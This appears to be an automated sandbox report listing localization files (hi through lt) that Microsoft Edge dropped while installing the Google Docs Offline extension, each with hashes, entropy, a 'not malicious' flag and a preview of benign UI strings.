Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
